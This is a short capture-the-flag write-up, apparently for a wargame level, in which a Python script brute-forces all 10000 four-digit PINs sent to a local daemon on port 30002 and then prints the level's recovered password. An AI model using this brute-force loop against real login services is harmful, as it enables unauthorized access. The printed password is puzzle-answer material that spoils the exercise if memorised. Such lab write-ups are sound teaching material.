Description

A daemon on port 30002 accepts a password and a 4-digit PIN separated by a space. The correct PIN is one of the 10000 possibilities from 0000 to 9999. The goal is to brute-force all combinations.

Overview

• Sending all 10000 <password> <pin> lines in one batch is far more efficient than one connection per guess.
• The daemon closes the connection after the correct PIN is found.
• The response for the correct line is different from the Wrong! Please enter the correct pincode. message.

Solution

lines = [f"{current_password} {i:04d}".encode() for i in range(10000)]

remote = ssh.connect_remote("127.0.0.1", 30002)
remote.sendlines(lines)

while True:
    output = remote.recv().decode()
    if "Correct!" in output:
        result = output.splitlines()[-1].split()[-1]
        break

Password

p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d